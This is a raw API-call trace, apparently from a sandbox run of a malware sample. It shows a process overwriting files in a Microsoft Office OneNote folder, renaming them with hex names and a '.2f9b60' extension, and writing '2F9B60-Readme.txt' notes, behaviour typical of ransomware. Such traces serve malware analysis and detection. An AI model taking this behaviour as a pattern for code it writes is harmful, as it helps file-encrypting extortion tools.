0x560853 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x3feaa885 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x72b84e7 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x2da112ce [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x752dc9b6 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x24a44bd2 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x3ed2f8e2 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x7b0354d4 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x7d151b83 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x64fd4cf1 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x5b5a85d6 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x59c6b499 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x6d057df8 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x4aad56e9 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x7568fdc5 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x78b0ebf6 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x6846e429 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x53ec495c [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x6f1d66c9 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x4eba832f [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x76dd0f84 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x1f7c9683 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x493d6a89 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x4da68be2 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x2e474164 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x78b0ebf6 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0xd0679d3 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x1c24ac26 [0153.163] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x212955d9 [0153.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053580 [0153.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0153.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420535b0 [0153.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0153.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053550) returned 1 [0153.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420534f0) returned 1 [0153.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0153.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0153.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420534f0 [0153.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420534f0) returned 1 [0153.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20193cc0 [0153.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42601150 [0153.176] ReadFile (in: hFile=0x954, lpBuffer=0x20193cc0, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x2555f730, lpOverlapped=0x0 | out: lpBuffer=0x20193cc0*, lpNumberOfBytesRead=0x2555f730*=0x1fa, lpOverlapped=0x0) returned 1 [0153.177] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.177] WriteFile (in: hFile=0x954, lpBuffer=0x42601150*, nNumberOfBytesToWrite=0x1fa, lpNumberOfBytesWritten=0x2555f734, lpOverlapped=0x0 | out: lpBuffer=0x42601150*, lpNumberOfBytesWritten=0x2555f734*=0x1fa, lpOverlapped=0x0) returned 1 [0161.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0161.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0161.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0161.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42601150) returned 1 [0161.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20193cc0) returned 1 [0161.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0161.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0161.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd87030 [0161.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0161.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0161.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0161.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0161.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86430 [0161.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0161.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0161.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0161.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0161.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0161.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x132) returned 0x188850 [0161.604] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.605] WriteFile (in: hFile=0x954, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2555f850, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x2555f850*=0x132, lpOverlapped=0x0) returned 1 [0163.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0163.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0163.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0163.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0163.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0163.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x81) returned 0x42c223f0 [0163.375] sprintf (in: _Dest=0x42c223f0, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.375] sprintf (in: _Dest=0x42c223f2, _Format="%c%c" | out: _Dest="62") returned 2 [0163.375] sprintf (in: _Dest=0x42c223f4, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.375] sprintf (in: _Dest=0x42c223f6, _Format="%c%c" | out: _Dest="3b") returned 2 [0163.375] sprintf (in: _Dest=0x42c223f8, _Format="%c%c" | out: _Dest="7e") returned 2 [0163.375] sprintf (in: _Dest=0x42c223fa, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.375] sprintf (in: _Dest=0x42c223fc, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.375] sprintf (in: _Dest=0x42c223fe, _Format="%c%c" | out: _Dest="c7") returned 2 [0163.375] sprintf (in: _Dest=0x42c22400, _Format="%c%c" | out: _Dest="bd") returned 2 [0163.375] sprintf (in: _Dest=0x42c22402, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.375] sprintf (in: _Dest=0x42c22404, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.375] sprintf (in: _Dest=0x42c22406, _Format="%c%c" | out: _Dest="8f") returned 2 [0163.375] sprintf (in: _Dest=0x42c22408, _Format="%c%c" | out: _Dest="11") returned 2 [0163.375] sprintf (in: _Dest=0x42c2240a, _Format="%c%c" | out: _Dest="81") returned 2 [0163.375] sprintf (in: _Dest=0x42c2240c, _Format="%c%c" | out: _Dest="77") returned 2 [0163.375] sprintf (in: _Dest=0x42c2240e, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.375] sprintf (in: _Dest=0x42c22410, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.375] sprintf (in: _Dest=0x42c22412, _Format="%c%c" | out: _Dest="62") returned 2 [0163.375] sprintf (in: _Dest=0x42c22414, _Format="%c%c" | out: _Dest="50") returned 2 [0163.376] sprintf (in: _Dest=0x42c22416, _Format="%c%c" | out: _Dest="18") returned 2 [0163.376] sprintf (in: _Dest=0x42c22418, _Format="%c%c" | out: _Dest="c2") returned 2 [0163.376] sprintf (in: _Dest=0x42c2241a, _Format="%c%c" | out: _Dest="01") returned 2 [0163.376] sprintf (in: _Dest=0x42c2241c, _Format="%c%c" | out: _Dest="07") returned 2 [0163.376] sprintf (in: _Dest=0x42c2241e, _Format="%c%c" | out: _Dest="80") returned 2 [0163.376] sprintf (in: _Dest=0x42c22420, _Format="%c%c" | out: _Dest="45") returned 2 [0163.376] sprintf (in: _Dest=0x42c22422, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.376] sprintf (in: _Dest=0x42c22424, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.376] sprintf (in: _Dest=0x42c22426, _Format="%c%c" | out: _Dest="42") returned 2 [0163.376] sprintf (in: _Dest=0x42c22428, _Format="%c%c" | out: _Dest="b0") returned 2 [0163.376] sprintf (in: _Dest=0x42c2242a, _Format="%c%c" | out: _Dest="23") returned 2 [0163.376] sprintf (in: _Dest=0x42c2242c, _Format="%c%c" | out: _Dest="aa") returned 2 [0163.376] sprintf (in: _Dest=0x42c2242e, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.376] sprintf (in: _Dest=0x42c22430, _Format="%c%c" | out: _Dest="49") returned 2 [0163.376] sprintf (in: _Dest=0x42c22432, _Format="%c%c" | out: _Dest="00") returned 2 [0163.376] sprintf (in: _Dest=0x42c22434, _Format="%c%c" | out: _Dest="40") returned 2 [0163.376] sprintf (in: _Dest=0x42c22436, _Format="%c%c" | out: _Dest="e8") returned 2 [0163.376] sprintf (in: _Dest=0x42c22438, _Format="%c%c" | out: _Dest="57") returned 2 [0163.376] sprintf (in: _Dest=0x42c2243a, _Format="%c%c" | out: _Dest="53") returned 2 [0163.376] sprintf (in: _Dest=0x42c2243c, _Format="%c%c" | out: _Dest="7a") returned 2 [0163.376] sprintf (in: _Dest=0x42c2243e, _Format="%c%c" | out: _Dest="08") returned 2 [0163.376] sprintf (in: _Dest=0x42c22440, _Format="%c%c" | out: _Dest="40") returned 2 [0163.376] sprintf (in: _Dest=0x42c22442, _Format="%c%c" | out: _Dest="06") returned 2 [0163.376] sprintf (in: _Dest=0x42c22444, _Format="%c%c" | out: _Dest="82") returned 2 [0163.376] sprintf (in: _Dest=0x42c22446, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.377] sprintf (in: _Dest=0x42c22448, _Format="%c%c" | out: _Dest="43") returned 2 [0163.377] sprintf (in: _Dest=0x42c2244a, _Format="%c%c" | out: _Dest="07") returned 2 [0163.377] sprintf (in: _Dest=0x42c2244c, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.377] sprintf (in: _Dest=0x42c2244e, _Format="%c%c" | out: _Dest="b0") returned 2 [0163.377] sprintf (in: _Dest=0x42c22450, _Format="%c%c" | out: _Dest="74") returned 2 [0163.377] sprintf (in: _Dest=0x42c22452, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.377] sprintf (in: _Dest=0x42c22454, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.377] sprintf (in: _Dest=0x42c22456, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.377] sprintf (in: _Dest=0x42c22458, _Format="%c%c" | out: _Dest="75") returned 2 [0163.377] sprintf (in: _Dest=0x42c2245a, _Format="%c%c" | out: _Dest="93") returned 2 [0163.377] sprintf (in: _Dest=0x42c2245c, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.377] sprintf (in: _Dest=0x42c2245e, _Format="%c%c" | out: _Dest="be") returned 2 [0163.377] sprintf (in: _Dest=0x42c22460, _Format="%c%c" | out: _Dest="8b") returned 2 [0163.377] sprintf (in: _Dest=0x42c22462, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.377] sprintf (in: _Dest=0x42c22464, _Format="%c%c" | out: _Dest="95") returned 2 [0163.377] sprintf (in: _Dest=0x42c22466, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.377] sprintf (in: _Dest=0x42c22468, _Format="%c%c" | out: _Dest="16") returned 2 [0163.377] sprintf (in: _Dest=0x42c2246a, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.377] sprintf (in: _Dest=0x42c2246c, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.377] sprintf (in: _Dest=0x42c2246e, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.377] RtlInitAnsiString (in: DestinationString=0x2555f8c8, SourceString="d762b83b7e5ccfc7bd2ec08f118177f09f625018c201078045f0f642b023aaa0490040e857537a08400682a043074cb0743efeef75934dbe8bcd955e162ed05d" | out: DestinationString="d762b83b7e5ccfc7bd2ec08f118177f09f625018c201078045f0f642b023aaa0490040e857537a08400682a043074cb0743efeef75934dbe8bcd955e162ed05d") [0163.377] RtlAnsiStringToUnicodeString (in: DestinationString=0x2555f898, SourceString="d762b83b7e5ccfc7bd2ec08f118177f09f625018c201078045f0f642b023aaa0490040e857537a08400682a043074cb0743efeef75934dbe8bcd955e162ed05d", AllocateDestinationString=1 | out: DestinationString="d762b83b7e5ccfc7bd2ec08f118177f09f625018c201078045f0f642b023aaa0490040e857537a08400682a043074cb0743efeef75934dbe8bcd955e162ed05d") returned 0x0 [0163.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x42c17b20 [0163.378] RtlFreeAnsiString (AnsiString="d") [0163.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c223f0) returned 1 [0163.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0163.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0163.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86430) returned 1 [0163.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0163.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0163.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860090) returned 1 [0163.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053520) returned 1 [0163.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053580) returned 1 [0163.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420535b0) returned 1 [0163.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1ce22f20 [0163.382] wcscat (in: _Dest=0x1ce22f20, _Source="d762b83b7e5ccfc7bd2ec08f118177f0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\d762b83b7e5ccfc7bd2ec08f118177f0") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\d762b83b7e5ccfc7bd2ec08f118177f0" [0163.382] wcscat (in: _Dest=0x1ce22f20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\d762b83b7e5ccfc7bd2ec08f118177f0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\d762b83b7e5ccfc7bd2ec08f118177f0.2f9b60" [0163.382] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\d762b83b7e5ccfc7bd2ec08f118177f0.2f9b60", NtPathName=0x2555f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\d762b83b7e5ccfc7bd2ec08f118177f0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1cecf940 [0165.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf940) returned 1 [0165.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c28390) returned 1 [0165.273] NtQueryInformationFile (in: FileHandle=0x954, IoStatusBlock=0x2555f8d8, FileInformation=0x2555f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2555f8d8, FileInformation=0x2555f8e8) returned 0x0 [0165.273] NtSetInformationFile (FileHandle=0x954, IoStatusBlock=0x2555f8d8, FileInformation=0x2555f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22f20) returned 1 [0165.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c17b20) returned 1 [0165.276] FlushFileBuffers (hFile=0x954) returned 1 [0166.257] CloseHandle (hObject=0x954) returned 1 [0184.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c720 [0191.772] wcscpy (in: _Dest=0x4319c720, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0191.772] wcscat (in: _Dest=0x4319c720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\2f9b60-readme.txt")) returned 0xffffffff [0191.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0209.513] WriteFile (in: hFile=0x1068, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2555f790, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2555f790*=0xba9, lpOverlapped=0x0) returned 1 [0216.718] CloseHandle (hObject=0x1068) returned 1 [0222.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c720) returned 1 [0222.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d370) returned 1 [0222.425] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, nFileSizeLow=0x2580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="SENDTO~1.GPD")) returned 1 [0222.426] wcscmp (_String1="SendToOneNote.gpd", _String2=".") returned 1 [0222.426] wcscmp (_String1="SendToOneNote.gpd", _String2="..") returned 1 [0222.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4319c720 [0222.426] wcscpy (in: _Dest=0x4319c720, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0222.426] wcscat (in: _Dest=0x4319c720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0222.426] wcscat (in: _Dest=0x4319c720, _Source="SendToOneNote.gpd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" [0223.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd")) returned 0x20 [0224.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd", dwFileAttributes=0x20) returned 1 [0224.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x249c [0224.289] GetFileSizeEx (in: hFile=0x249c, lpFileSize=0x2555f880 | out: lpFileSize=0x2555f880*=9600) returned 1 [0224.289] SetFilePointerEx (in: hFile=0x249c, liDistanceToMove=0x257c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.289] ReadFile (in: hFile=0x249c, lpBuffer=0x2555f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2555f848, lpOverlapped=0x0 | out: lpBuffer=0x2555f800*, lpNumberOfBytesRead=0x2555f848*=0x4, lpOverlapped=0x0) returned 1 [0224.311] SetFilePointerEx (in: hFile=0x249c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aed0 [0224.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0224.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0224.315] NtQuerySystemTime (in: CurrentTime=0x2555f740 | out: CurrentTime=0x2555f740*=132462178283134000) returned 0x0 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x1226a908 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x329012af [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x44b211e6 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x104a014f [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x35f15ab8 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x3eff69ca [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x43321e83 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x5fd6f19b [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x4a954b8a [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x3b41e843 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x44434c52 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x35079ecc [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x638a3238 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x468f65e1 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x7e57a9f7 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x9ead5e8 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x8bf97e6 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x65450552 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x95f03c7 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x5b136811 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x61259ff1 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x2166b649 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x7628f9af [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x50abcf77 [0224.315] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x3fd34393 [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x200be205 [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x7988ecf0 [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x4088ecdb [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x19c725d2 [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x6120fbec [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x5eab045b [0224.316] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x66f321d7 [0224.317] ReadFile (in: hFile=0x249c, lpBuffer=0x423ee500, nNumberOfBytesToRead=0x2580, lpNumberOfBytesRead=0x2555f730, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesRead=0x2555f730*=0x2580, lpOverlapped=0x0) returned 1 [0224.421] SetFilePointerEx (in: hFile=0x249c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.421] WriteFile (in: hFile=0x249c, lpBuffer=0x424179b0*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2555f734, lpOverlapped=0x0 | out: lpBuffer=0x424179b0*, lpNumberOfBytesWritten=0x2555f734*=0x2580, lpOverlapped=0x0) returned 1 [0224.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6a0 [0224.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0224.852] 